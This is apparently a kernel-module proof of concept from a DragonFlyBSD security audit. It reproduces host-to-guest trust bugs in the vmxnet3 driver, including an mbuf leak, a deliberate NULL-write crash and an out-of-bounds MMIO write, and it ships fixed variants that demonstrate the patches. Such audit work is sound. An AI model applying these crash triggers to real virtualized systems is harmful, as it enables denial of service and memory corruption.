⬢ DragonFlyBSD Kernel Audit
DF-3779 / vmxrep.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
/*
 * vmxrep.c - protocol replica of vmxnet3 (if_vmx.c) host-trust bugs.
 *
 * The trust boundary is the VMware host: every completion descriptor field
 * (rxcd/txcd), the rxq_shared.update_rxhead flag and the whole TX/RX ring
 * protocol state are DMA-written by the host and consumed by the guest
 * driver with (almost) no validation.  The QEMU/KVM audit guest has no
 * vmxnet3 device, so this module replicates the EXACT guest-side code
 * paths (copied verbatim from sys/dev/virtual/vmware/vmxnet3/if_vmx.c,
 * cited per block) and drives them with a simulated hostile host.
 *
 * Tests (sysctl hw.vmxrep.run=<n>):
 *
 *  3780  TX completion desync: host forges txcd->eop_idx so that
 *        vxtxr_next jumps forward past in-flight SOP slots
 *        (if_vmx.c:1938-1967 vmxnet3_txq_eof + 2904 encap bookkeeping)
 *        -> every skipped slot's mbuf is never freed; when the ring wraps,
 *        vmxnet3_txq_encap() overwrites txbuf[head].vtxb_m (if_vmx.c:2904)
 *        -> unbounded mbuf+cluster leak.  Non-crashing; reports counters.
 *
 *  3779  RX ring selection by rxcd->qid (if_vmx.c:2217-2220): qid >=
 *        nrxqueues selects ring 1, which is left UNPOPULATED on the
 *        default MTU configuration (if_vmx.c:2576-2581 populate=1), so
 *        vxrxr_rxbuf[idx].vrxb_m == NULL.  The fetched `m` (if_vmx.c:2223)
 *        stays NULL through the sop path and
 *        `m->m_pkthdr.rcvif = ifp` (if_vmx.c:2265) writes to near-NULL.
 *        Release kernels (X86_64_GENERIC, no INVARIANTS) compile out the
 *        KASSERT at if_vmx.c:2224.  DELIBERATE CRASH.
 *
 *  3781  update_rxhead path (if_vmx.c:2315-2327): host sets
 *        rxq_shared.update_rxhead=1 and delivers rxcd->qid = 1023 (10-bit
 *        field).  qid - nrxqueues = 1022 is NOT range-checked before
 *        VMXNET3_BAR0_RXH2(qid) = 0xA00 + qid*8 = 0x29F0 - an MMIO write
 *        0x19F0 bytes past a 4KB BAR0.  Modelled with a 1-page
 *        pmap_mapdev() (exactly what bus_alloc_resource_any does for a
 *        4KB BAR) + the same write.  DELIBERATE CRASH.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <vm/pmap.h>

/* ---- verbatim from if_vmxreg.h ---- */
struct vmxnet3_txcompdesc {
	uint32_t	eop_idx:12;
	uint32_t	pad1:20;
	uint32_t	pad2:32;
	uint32_t	pad3:32;
	uint32_t	rsvd:24;
	uint32_t	type:7;
	uint32_t	gen:1;
} __packed;

struct vmxnet3_rxcompdesc {
	uint32_t	rxd_idx:12;
	uint32_t	pad1:2;
	uint32_t	eop:1;
	uint32_t	sop:1;
	uint32_t	qid:10;
	uint32_t	rss_type:4;
	uint32_t	no_csum:1;
	uint32_t	pad2:1;
	uint32_t	rss_hash:32;
	uint32_t	len:14;
	uint32_t	error:1;
	uint32_t	vlan:1;
	uint32_t	vtag:16;
	uint32_t	csum:16;
	uint32_t	csum_ok:1;
	uint32_t	udp:1;
	uint32_t	tcp:1;
	uint32_t	ipcsum_ok:1;
	uint32_t	ipv6:1;
	uint32_t	ipv4:1;
	uint32_t	fragment:1;
	uint32_t	fcs:1;
	uint32_t	type:7;
	uint32_t	gen:1;
} __packed;

#define	VMXNET3_RXRINGS_PERQ	2
#define	VMXNET3_INIT_GEN	1

/* ---- verbatim semantics from if_vmxvar.h ---- */
struct rep_txbuf {
	void		*vtxb_dmamap;	/* fake */
	struct mbuf	*vtxb_m;
};

struct rep_txring {
	struct rep_txbuf	*vxtxr_txbuf;
	u_int			 vxtxr_head;
	u_int			 vxtxr_next;
	u_int			 vxtxr_ndesc;
	int			 vxtxr_gen;
};

static inline int
VMXNET3_TXRING_AVAIL(struct rep_txring *txr)
{
	int avail = txr->vxtxr_next - txr->vxtxr_head - 1;
	return (avail < 0 ? txr->vxtxr_ndesc + avail : avail);
}

struct rep_rxbuf {
	void		*vrxb_dmamap;	/* fake */
	struct mbuf	*vrxb_m;
};

struct rep_rxring {
	struct rep_rxbuf	*vxrxr_rxbuf;
	void			*vxrxr_rxd;	/* fake DMA desc array */
	u_int			 vxrxr_fill;
	u_int			 vxrxr_ndesc;
	int			 vxrxr_gen;
	int			 vxrxr_rid;
};

struct rep_comp_ring_tx {
	struct vmxnet3_txcompdesc *txcd;
	u_int			 vxcr_next;
	u_int			 vxcr_ndesc;
	int			 vxcr_gen;
};
struct rep_comp_ring_rx {
	struct vmxnet3_rxcompdesc *rxcd;
	u_int			 vxcr_next;
	u_int			 vxcr_ndesc;
	int			 vxcr_gen;
};

static int rep_nrxqueues = 1;		/* DFly: no MSI-X -> always 1 */
static struct ifnet *rep_ifp;		/* dummy stand-in */

static u_long stat_alloc, stat_free;	/* replica accounting */

/* =====================================================================
 * DF-3780 : vmxnet3_txq_eof() copied VERBATIM from if_vmx.c:1919-1971
 * (bus_dma sync/unload dropped - no device - everything else identical)
 * ===================================================================== */
static void
rep_txq_eof(struct rep_txring *txr, struct rep_comp_ring_tx *txc)
{
	struct rep_txbuf *txb;
	struct mbuf *m;
	u_int sop;

	for (;;) {
		struct vmxnet3_txcompdesc *txcd = &txc->txcd[txc->vxcr_next];
		if (txcd->gen != txc->vxcr_gen)
			break;

		if (++txc->vxcr_next == txc->vxcr_ndesc) {
			txc->vxcr_next = 0;
			txc->vxcr_gen ^= 1;
		}

		sop = txr->vxtxr_next;
		txb = &txr->vxtxr_txbuf[sop];

		if ((m = txb->vtxb_m) != NULL) {
			/* bus_dmamap_sync/unload omitted (no device) */
			m_freem(m);
			stat_free++;
			txb->vtxb_m = NULL;
		}

		txr->vxtxr_next = (txcd->eop_idx + 1) % txr->vxtxr_ndesc;
	}
}

/*
 * Guest TX of one 1-segment packet: the slot bookkeeping of
 * vmxnet3_txq_encap() if_vmx.c:2889-2928 (avail check, mbuf stored at the
 * SOP slot, head advance) - this is the code whose txbuf[head].vtxb_m
 * write (if_vmx.c:2904) turns a host-induced ring desync into a leak.
 */
static int
rep_encap(struct rep_txring *txr)
{
	struct mbuf *m;

	if (VMXNET3_TXRING_AVAIL(txr) < 1)
		return (ENOSPC);

	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	if (m == NULL)
		return (ENOBUFS);
	m->m_pkthdr.len = m->m_len = 64;
	stat_alloc++;

	txr->vxtxr_txbuf[txr->vxtxr_head].vtxb_m = m;	/* if_vmx.c:2904 */
	if (++txr->vxtxr_head == txr->vxtxr_ndesc) {
		txr->vxtxr_head = 0;
		txr->vxtxr_gen ^= 1;
	}
	return (0);
}

/* simulated hostile host deposits one TX completion */
static void
rep_host_tx_comp(struct rep_comp_ring_tx *txc, u_int eop_idx)
{
	struct vmxnet3_txcompdesc *txcd = &txc->txcd[txc->vxcr_next];
	txcd->eop_idx = eop_idx;
	txcd->gen = txc->vxcr_gen;	/* host owns the gen protocol */
}

static void
test_3780(void)
{
	const u_int ndesc = 512;
	struct rep_txring txr;
	struct rep_comp_ring_tx txc;
	int i, cycles = 1000, sent = 0;

	memset(&txr, 0, sizeof(txr));
	memset(&txc, 0, sizeof(txc));
	txr.vxtxr_ndesc = ndesc;
	txr.vxtxr_txbuf = kmalloc(ndesc * sizeof(struct rep_txbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);
	txc.vxcr_ndesc = ndesc;
	txc.vxcr_gen = VMXNET3_INIT_GEN;
	txc.txcd = kmalloc(ndesc * sizeof(struct vmxnet3_txcompdesc),
	    M_DEVBUF, M_INTWAIT | M_ZERO);

	for (i = 0; i < cycles; i++) {
		/*
		 * guest sends 2 packets (slots s, s+1);
		 * host returns ONE completion whose eop_idx names the eop of
		 * the *second* packet while vxtxr_next still sits on the
		 * first -> txq_eof frees P1 and sets next = head, hopping
		 * over P2's SOP slot.  P2's mbuf can never be freed again.
		 */
		if (rep_encap(&txr) == 0) sent++;
		if (rep_encap(&txr) == 0) sent++;
		rep_host_tx_comp(&txc, txr.vxtxr_head - 1);
		rep_txq_eof(&txr, &txc);

		if (i == 0)
			kprintf("vmxrep3780: after cycle 1: avail=%d "
			    "(ring claims EMPTY) while P2 mbuf still outstanding\n",
			    VMXNET3_TXRING_AVAIL(&txr));
	}

	kprintf("vmxrep3780: packets sent=%d mbufs alloc=%lu freed=%lu "
	    "LEAKED=%lu (each leaked mbuf pins a %d-byte cluster)\n",
	    sent, stat_alloc, stat_free, stat_alloc - stat_free, MCLBYTES);
	kprintf("vmxrep3780: guest mbuf pool state via netstat -m shows the "
	    "same deficit; driver never recovers the skipped slots\n");

	kfree(txr.vxtxr_txbuf, M_DEVBUF);
	kfree(txc.txcd, M_DEVBUF);
}

/* =====================================================================
 * DF-3779 : the sop path of vmxnet3_rxq_eof() copied from
 * if_vmx.c:2201-2268 (ring1 unpopulated -> vrxb_m == NULL -> NULL write)
 * ===================================================================== */
static void
test_3779(void)
{
	const u_int ndesc = 256;
	struct rep_rxring ring[VMXNET3_RXRINGS_PERQ];
	struct rep_comp_ring_rx rxc;
	struct vmxnet3_rxcompdesc *rxcd;
	struct mbuf *m;
	int idx, length, i;

	memset(ring, 0, sizeof(ring));
	for (i = 0; i < VMXNET3_RXRINGS_PERQ; i++) {
		ring[i].vxrxr_rid = i;
		ring[i].vxrxr_ndesc = ndesc;
		/* if_vmx.c:1047 vmxnet3_init_rxq: M_ZERO allocation */
		ring[i].vxrxr_rxbuf = kmalloc(ndesc *
		    sizeof(struct rep_rxbuf), M_DEVBUF, M_INTWAIT | M_ZERO);
		ring[i].vxrxr_rxd = kmalloc(ndesc * 32, M_DEVBUF,
		    M_INTWAIT | M_ZERO);
	}
	/* default MTU: populate==1 -> only ring 0 gets mbufs
	 * (if_vmx.c:2583-2595).  ring 1 stays vrxb_m == NULL. */
	ring[0].vxrxr_fill = 0;
	ring[0].vxrxr_gen = VMXNET3_INIT_GEN;
	for (i = 0; i < (int)ndesc; i++) {
		struct mbuf *mm = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
		mm->m_pkthdr.len = mm->m_len = MCLBYTES;
		ring[0].vxrxr_rxbuf[i].vrxb_m = mm;
		stat_alloc++;
	}

	memset(&rxc, 0, sizeof(rxc));
	rxc.vxcr_ndesc = ndesc * VMXNET3_RXRINGS_PERQ;
	rxc.vxcr_gen = VMXNET3_INIT_GEN;
	rxc.rxcd = kmalloc(rxc.vxcr_ndesc *
	    sizeof(struct vmxnet3_rxcompdesc), M_DEVBUF, M_INTWAIT | M_ZERO);

	/* --- simulated hostile host writes ONE completion descriptor --- */
	rxcd = &rxc.rxcd[rxc.vxcr_next];
	rxcd->rxd_idx = 0;		/* perfectly in-bounds index */
	rxcd->qid = 1;			/* >= nrxqueues(1) -> ring 1 */
	rxcd->sop = 1;
	rxcd->eop = 1;
	rxcd->len = 64;
	rxcd->gen = rxc.vxcr_gen;

	/* --- verbatim guest walk, if_vmx.c:2202-2266 --- */
	rxcd = &rxc.rxcd[rxc.vxcr_next];
	if (rxcd->gen != rxc.vxcr_gen)
		goto out;			/* matches */
	if (++rxc.vxcr_next == rxc.vxcr_ndesc) {
		rxc.vxcr_next = 0;
		rxc.vxcr_gen ^= 1;
	}

	idx = rxcd->rxd_idx;				/* if_vmx.c:2215 */
	length = rxcd->len;				/* if_vmx.c:2216 */
	if (rxcd->qid < rep_nrxqueues)			/* if_vmx.c:2217-2220 */
		goto out; /* ring0 */
	{
		struct rep_rxring *rxr = &ring[1];	/* <-- ring 1 */
		/* rxd unused beyond btype; m fetched at if_vmx.c:2223: */
		m = rxr->vxrxr_rxbuf[idx].vrxb_m;	/* == NULL */

		/* if_vmx.c:2232-2238 catch-up loop: fill==idx==0 -> no-op */

		/* if_vmx.c:2240: if (rxcd->sop) */
		{
			/* the 4 KASSERTs of if_vmx.c:2241-2249 are compiled
			 * out on X86_64_GENERIC (no INVARIANTS) - nothing
			 * stops us here. */
			if (length == 0)
				goto out;	/* if_vmx.c:2251 */

			/* if_vmx.c:2257 vmxnet3_newbuf() would succeed and
			 * refill rxbuf[idx] - but the local `m` fetched
			 * above stays NULL: */
			kprintf("vmxrep3779: m == %s (ring 1 unpopulated); "
			    "if_vmx.c:2265 `m->m_pkthdr.rcvif = ifp` next\n",
			    m == NULL ? "NULL" : "NON-NULL");
			m->m_pkthdr.rcvif = rep_ifp;	/* if_vmx.c:2265 */
			m->m_pkthdr.len = m->m_len = length;
			kprintf("vmxrep3779: NOT REACHED\n");
		}
	}
out:
	kprintf("vmxrep3779: unexpected exit\n");
}

/* =====================================================================
 * DF-3781 : the update_rxhead block of vmxnet3_rxq_eof(),
 * if_vmx.c:2315-2327, with qid = 1023 from a hostile host
 * ===================================================================== */
static void
test_3781(void)
{
	void *page;
	u_int qid, idx, r;
	int nrxqueues = rep_nrxqueues;

	/* model BAR0: bus_alloc_resource_any() maps exactly the BAR size;
	 * a vmxnet3 BAR0 is 4KB -> pmap_mapdev of one page. */
	page = pmap_mapdev(0, PAGE_SIZE);
	if (page == NULL) {
		kprintf("vmxrep3781: mapdev failed\n");
		return;
	}

	/* if_vmx.c:2321-2325 - NO range check on qid.  The host picks qid
	 * freely; it simply chooses one whose OOB target is unmapped KVA
	 * (= fault) or foreign MMIO (= cross-device corruption). */
	idx = 1;		/* (rxd_idx + 1) % ndesc, host-chosen value */
	for (qid = 1023; qid >= (u_int)nrxqueues; qid--) {
		u_int q2 = qid - nrxqueues;
		r = 0xA00 + q2 * 8;
		if (pmap_kextract((vm_offset_t)((u_char *)page + r)) == 0)
			break;		/* unmapped: write will fault */
	}
	if (qid < (u_int)nrxqueues) {
		kprintf("vmxrep3781: all OOB targets mapped on this guest - "
		    "write would corrupt foreign MMIO (skipped)\n");
		return;
	}
	r = 0xA00 + (qid - nrxqueues) * 8;

	kprintf("vmxrep3781: BAR0 mapped 1 page (%#jx bytes); host chose "
	    "qid=%u -> MMIO offset %#x value %u (vmxnet3_write_bar0, "
	    "if_vmx.c:3867-3871) - past the 4KB BAR\n",
	    (uintmax_t)PAGE_SIZE, qid, r, idx);

	/* if_vmx.c:2326 vmxnet3_write_bar0(sc, r, idx) == the write below */
	*(volatile u_int *)((u_char *)page + r) = idx;

	kprintf("vmxrep3781: NOT REACHED\n");
}

/* =====================================================================
 * FIXED variants (the fix.diff logic): same hostile inputs, corrected
 * guest-side handling.  Test numbers 900/901/902.
 * ===================================================================== */
static void
test_900_fixed_tx(void)
{
	const u_int ndesc = 512;
	struct rep_txring txr;
	struct rep_comp_ring_tx txc;
	int i, cycles = 1000, sent = 0;

	memset(&txr, 0, sizeof(txr));
	memset(&txc, 0, sizeof(txc));
	txr.vxtxr_ndesc = ndesc;
	txr.vxtxr_txbuf = kmalloc(ndesc * sizeof(struct rep_txbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);
	txc.vxcr_ndesc = ndesc;
	txc.vxcr_gen = VMXNET3_INIT_GEN;
	txc.txcd = kmalloc(ndesc * sizeof(struct vmxnet3_txcompdesc),
	    M_DEVBUF, M_INTWAIT | M_ZERO);

	for (i = 0; i < cycles; i++) {
		if (rep_encap(&txr) == 0) sent++;
		if (rep_encap(&txr) == 0) sent++;
		rep_host_tx_comp(&txc, txr.vxtxr_head - 1);

		/* FIXED vmxnet3_txq_eof: free every mbuf in the traversed
		 * window [next .. eop_idx] (exactly-once), and reject
		 * completions whose eop lands outside the outstanding
		 * window [next .. head]. */
		for (;;) {
			struct vmxnet3_txcompdesc *txcd = &txc.txcd[txc.vxcr_next];
			u_int eop_next, dist, outstanding;
			if (txcd->gen != txc.vxcr_gen)
				break;
			if (++txc.vxcr_next == txc.vxcr_ndesc) {
				txc.vxcr_next = 0;
				txc.vxcr_gen ^= 1;
			}
			eop_next = (txcd->eop_idx + 1) % txr.vxtxr_ndesc;
			dist = (eop_next + ndesc - txr.vxtxr_next) % ndesc;
			outstanding = (txr.vxtxr_head + ndesc -
			    txr.vxtxr_next) % ndesc;
			if (dist > outstanding)
				break;		/* protocol violation: stop */
			while (txr.vxtxr_next != eop_next) {
				struct rep_txbuf *txb =
				    &txr.vxtxr_txbuf[txr.vxtxr_next];
				if (txb->vtxb_m != NULL) {
					m_freem(txb->vtxb_m);
					stat_free++;
					txb->vtxb_m = NULL;
				}
				if (++txr.vxtxr_next == ndesc)
					txr.vxtxr_next = 0;
			}
		}
	}

	kprintf("vmxrep900(fixed tx): packets sent=%d alloc=%lu freed=%lu "
	    "LEAKED=%lu (expect 0)\n", sent, stat_alloc, stat_free,
	    stat_alloc - stat_free);

	kfree(txr.vxtxr_txbuf, M_DEVBUF);
	kfree(txc.txcd, M_DEVBUF);
}

static void
test_901_fixed_rx_ring1(void)
{
	/* same hostile rxcd (qid=1 -> ring 1, sop=1, in-bounds idx) against
	 * the FIXED ring selection: m == NULL -> drop the completion. */
	struct rep_rxring ring1;
	struct mbuf *m;

	memset(&ring1, 0, sizeof(ring1));
	ring1.vxrxr_rid = 1;
	ring1.vxrxr_ndesc = 256;
	ring1.vxrxr_rxbuf = kmalloc(256 * sizeof(struct rep_rxbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);	/* unpopulated: all NULL */

	m = ring1.vxrxr_rxbuf[0].vrxb_m;
	if (m == NULL) {
		/* FIXED if_vmx.c: after fetching m (2223):
		 *   if (m == NULL) { iqdrops++; discard; goto nextp; } */
		kprintf("vmxrep901(fixed rx): unpopulated ring selected - "
		    "completion dropped, no NULL deref, guest alive\n");
	} else
		kprintf("vmxrep901: unexpected mbuf\n");
	kfree(ring1.vxrxr_rxbuf, M_DEVBUF);
}

static void
test_902_fixed_rxhead(void)
{
	void *page;
	u_int qid, idx = 1, r;
	int nrxqueues = rep_nrxqueues;

	page = pmap_mapdev(0, PAGE_SIZE);
	if (page == NULL)
		return;

	qid = 705;		/* hostile 10-bit qid from the proven run */
	if (qid >= (u_int)nrxqueues) {
		qid -= nrxqueues;
		/* FIXED if_vmx.c: range-check the derived queue index */
		if (qid >= (u_int)nrxqueues) {
			kprintf("vmxrep902(fixed rxhead): derived qid %u >= "
			    "nrxqueues %d - MMIO write suppressed, guest "
			    "alive\n", qid, nrxqueues);
			return;
		}
		r = 0xA00 + qid * 8;
	} else
		r = 0x800 + qid * 8;
	*(volatile u_int *)((u_char *)page + r) = idx;
	kprintf("vmxrep902: in-range write at %#x performed\n", r);
}

static int
vmxrep_sysctl(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	switch (t) {
	case 3780:
		test_3780();
		break;
	case 3779:
		test_3779();		/* deliberate kernel crash */
		break;
	case 3781:
		test_3781();		/* deliberate kernel crash */
		break;
	case 37811: {		/* probe: map status of every reachable OOB page */
		void *page = pmap_mapdev(0, PAGE_SIZE);
		u_int off;
		if (page == NULL)
			break;
		kprintf("vmxrep3781-probe: BAR0=1 page at %p; reachable "
		    "write offsets 0xA00+8*(qid-1), qid<=1023:\n", page);
		for (off = 0x1000; off <= 0x2FF0; off += 0x1000) {
			u_char *t = (u_char *)page + off - (off % 0x1000);
			kprintf("vmxrep3781-probe: page at BAR0+%#x -> %s\n",
			    off - (off % 0x1000),
			    pmap_kextract((vm_offset_t)t) ? "MAPPED" :
			    "unmapped(would fault)");
		}
		break;
	}
	case 900:
		test_900_fixed_tx();
		break;
	case 901:
		test_901_fixed_rx_ring1();
		break;
	case 902:
		test_902_fixed_rxhead();
		break;
	default:
		return (EINVAL);
	}
	return (0);
}

static SYSCTL_NODE(_hw, OID_AUTO, vmxrep, CTLFLAG_RW, 0, "vmxnet3 replica");
SYSCTL_PROC(_hw_vmxrep, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, vmxrep_sysctl, "I", "run replica test 3780/3779/3781");

static int
vmxrep_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		rep_ifp = (struct ifnet *)kmalloc(64, M_DEVBUF,
		    M_INTWAIT | M_ZERO);
		kprintf("vmxrep: loaded (if_vmx.c protocol replica; "
		    "tests 3780/3779/3781)\n");
		return (0);
	case MOD_UNLOAD:
		kfree(rep_ifp, M_DEVBUF);
		kprintf("vmxrep: unloaded (alloc=%lu free=%lu)\n",
		    stat_alloc, stat_free);
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t vmxrep_mod = { "vmxrep", vmxrep_modevent, 0 };
DECLARE_MODULE(vmxrep, vmxrep_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);